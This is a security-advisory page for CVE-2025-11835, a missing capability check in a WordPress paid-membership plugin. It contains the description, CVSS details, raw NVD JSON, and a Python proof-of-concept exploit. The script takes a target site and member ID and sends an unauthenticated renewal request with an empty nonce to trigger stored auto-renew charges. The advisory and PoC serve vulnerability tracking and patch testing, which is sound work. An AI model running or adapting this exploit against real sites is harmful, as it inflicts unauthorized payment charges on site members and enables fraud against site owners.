Security Vulnerability Report
δΈ­ζ–‡
CVE-2025-11835 CVSS 5.3 MEDIUM

CVE-2025-11835

Published: 2025-11-05 04:15:32
Last Modified: 2026-04-15 00:35:42

Description

The Paid Membership Subscriptions – Effortless Memberships, Recurring Payments & Content Restriction plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability and validation check on the PMS_AJAX_Checkout_Handler::process_payment() function in all versions up to, and including, 2.16.4. This makes it possible for unauthenticated attackers to trigger stored auto-renew charges for arbitrary members.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Paid Membership Subscriptions plugin <= 2.16.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-11835 PoC - Unauthenticated Auto-Renew Charge Trigger # Target: WordPress with Paid Membership Subscriptions plugin <= 2.16.4 def exploit_cve_2025_11835(target_url, member_id): """ Exploit missing authorization check in PMS_AJAX_Checkout_Handler::process_payment() Allows unauthenticated attackers to trigger stored auto-renew charges for arbitrary members. """ # WordPress AJAX endpoint ajax_url = f"{target_url.rstrip('/')}/wp-admin/admin-ajax.php" # Construct malicious request to trigger auto-renew data = { 'action': 'pms_ajax_checkout', # AJAX action hook 'subscriber_id': member_id, # Target member ID 'payment_type': 'renew', # Payment type: renewal 'nonce': '' # Empty nonce - no CSRF protection } try: response = requests.post(ajax_url, data=data, timeout=10) if response.status_code == 200: print(f"[+] Request sent to trigger auto-renew for member {member_id}") print(f"[+] Response status: {response.status_code}") print(f"[+] Response: {response.text[:200]}") return True else: print(f"[-] Request failed with status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == '__main__': if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <member_id>") print(f"Example: python {sys.argv[0]} http://example.com 123") sys.exit(1) target = sys.argv[1] member_id = sys.argv[2] exploit_cve_2025_11835(target, member_id)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11835", "sourceIdentifier": "[email protected]", "published": "2025-11-05T04:15:32.063", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Paid Membership Subscriptions – Effortless Memberships, Recurring Payments & Content Restriction plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability and validation check on the PMS_AJAX_Checkout_Handler::process_payment() function in all versions up to, and including, 2.16.4. This makes it possible for unauthenticated attackers to trigger stored auto-renew charges for arbitrary members."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3383182/paid-member-subscriptions", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/eb1948bd-c5b4-4fbe-9aa6-19f24325e6bb?source=cve", "source": "[email protected]"}]}}